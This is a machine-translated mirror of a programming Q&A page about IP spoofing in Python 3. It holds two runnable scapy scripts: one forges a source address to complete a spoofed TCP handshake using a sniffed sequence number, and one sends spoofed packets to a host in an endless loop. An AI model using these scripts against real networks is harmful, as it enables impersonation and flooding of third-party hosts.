简体   繁体   English

python 3中的IP欺骗

[英]IP Spoofing in python 3

Is it possible to send a spoofed packet with another ip source?是否可以使用另一个 ip 源发送欺骗数据包? I've searched on the net and I found out that I need to use scapy library.我在网上搜索过,发现我需要使用 scapy 库。 I have this script that I found:我有这个脚本,我发现:

import sys
from scapy.all import *

if len(sys.argv) != 4:
    print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")

seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print ("Okay, final ACK sent. Check netstat on your target :-)")

But I don't get what does it mean "Enter the sniffed sequence number now:"但我不明白“现在输入嗅探的序列号”是什么意思:

Also, is it possible to avoid using scapy, and use socket library instead?另外,是否可以避免使用 scapy,而使用套接字库? If yes, can you tell me the way?如果是,你能告诉我怎么走吗?

solved on my own using scapy library:使用 scapy 库自行解决:

from scapy.all import *

A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload

while True:
    spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
    send(spoofed_packet)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM